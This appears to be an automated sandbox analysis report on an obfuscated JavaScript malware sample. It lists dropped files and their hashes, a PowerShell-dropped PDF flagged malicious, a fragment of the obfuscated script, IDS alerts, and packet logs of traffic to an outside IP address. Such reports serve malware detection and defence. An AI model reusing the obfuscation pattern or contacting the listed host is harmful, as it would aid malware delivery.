Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0cc14573-f4ee-46b6-984d-2a26c311aae9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7ouWLaGZ7wYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVuWLaGZ7wZGk3mlind9i4ufFXpAXkru
MD5:	13F55292D0735B9ABD4259B225D210FC
SHA1:	810CC5D545BFA11D2825F6E1DFA69176794DA7EC
SHA-256:	8C3FFEA68963D108599E8C5AE20DE6E9C473BF33197A03A9A7DDCD0F25A6C7F6
SHA-512:	4F54EDA9EB61172A5243DAA718CFF42A0BF079CC0FA7BE3553CC8B79772763B49F530DD6B54A9D595C4F46B8416ADF7D5C8DAD58FC43A5C651258E669DC375DA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\3d40fd87-aadf-4c24-8dcf-c727a41734a1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\947a84c6-3ea1-45fa-9180-19de43716b90.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\a91bf6f0-617e-467e-b193-8d69cb3ce2b7.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (14579), with CRLF line terminators
Entropy (8bit):	4.914135929138065
TrID:
File name:	1917827975246096126.js
File size:	17'883 bytes
MD5:	584629800019d6ec0ff6dae43041e995
SHA1:	ac247412945208e68e7070954b0aa73c591a7762
SHA256:	1454893f31d687b395fad044b9cc3da68547d302f30a4e74d35744ff1cf9431b
SHA512:	86de5a8cc19236c4845eca2bde2f1d47b2b9fbd04b270d6e64c4bd831179751dd23a15fab1e059f7fa6e5899affeedcd71728d0cd7c40ec12b2a64996e0bc2e5
SSDEEP:	192:lzZI+CaSZJfk14Mfcbeehz27fwwIUFfkm+04G4f5:RSvc12ef1Iyfkh/Gc
TLSH:	EF820EA48CDBDB0AC8D812D8724F21CD436BDB886424559BC6F15C49F9D2873B5F7AB0
File Content Preview:	function hxmasyt(){ktvzci=[1031,3079,5127,4103,2055,3072];var clgoodohw=this[bibdg+lqktv+wgida+jcjdh+ohuvrsy+jjgkj+hejfdmsnu+xnhmfu](this[woptblmbr+mwymi+bwytzyfkj+wgida+edvmvun+bibdg+xnhmfu][ssygg+wgida+ohuvrsy+lqktv+xnhmfu+ohuvrsy+qcaxclw+rcepk+rzvsrmpi

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T18:21:42.826476+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49709	193.143.1.205	80	TCP
2025-01-10T18:21:45.557362+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49711	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:21:42.006504059 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:42.011522055 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:42.011698961 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:42.014624119 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:42.019458055 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:42.826380968 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:42.826410055 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:42.826423883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:42.826438904 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:42.826451063 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:42.826462030 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:42.826476097 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:42.826491117 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:42.826502085 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:42.826514006 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:42.826527119 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:42.826533079 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:42.826543093 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:42.826574087 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:42.881859064 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:42.881901026 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:42.882019997 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:42.952997923 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:42.953016043 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:42.953026056 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:42.953250885 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:42.954319000 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:42.954330921 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:42.954358101 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:42.954366922 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:42.954391956 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:42.954524040 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:42.954534054 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:42.954569101 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:42.954735994 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:42.954792976 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:42.954802990 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:42.954813957 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:42.954833031 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:42.954854012 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:42.954992056 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:42.955666065 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:42.955667973 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:42.955678940 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:42.955698967 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:42.955713034 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:42.956181049 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:42.956191063 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:42.956218958 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:42.959737062 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:42.959748983 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:42.959785938 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.013569117 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.013592005 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.013606071 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.013885021 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.057225943 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.057245970 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.057260036 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.057272911 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.057296991 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.057329893 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.078253984 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.078273058 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.078279972 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.078310966 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.078330040 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.078342915 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.078402042 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.078413963 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.078443050 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.079191923 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.079202890 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.079243898 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.079334021 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.079365969 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.079376936 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.079384089 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.079418898 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.079583883 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.079605103 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.079617977 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.079649925 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.079664946 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.079677105 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.079706907 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.080219984 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.080229044 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.080274105 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.080296993 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.080310106 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.080331087 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.080339909 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.080349922 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.080362082 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.080374002 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.080410957 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.080955982 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.080970049 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.080981016 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.081000090 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.081007004 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.081027031 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.081038952 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.081046104 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.081049919 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.081104994 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.081923008 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.081934929 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.081947088 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.081975937 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.081999063 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.082006931 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.082017899 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.082031965 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.082048893 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.082058907 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.082092047 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.082858086 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.082870007 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.082881927 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.082895041 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.082905054 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.082941055 CET	49709	80	192.168.2.6	193.143.1.205
Jan 10, 2025 18:21:43.104060888 CET	80	49709	193.143.1.205	192.168.2.6
Jan 10, 2025 18:21:43.104088068 CET	80	49709	193.143.1.205	192.168.2.6
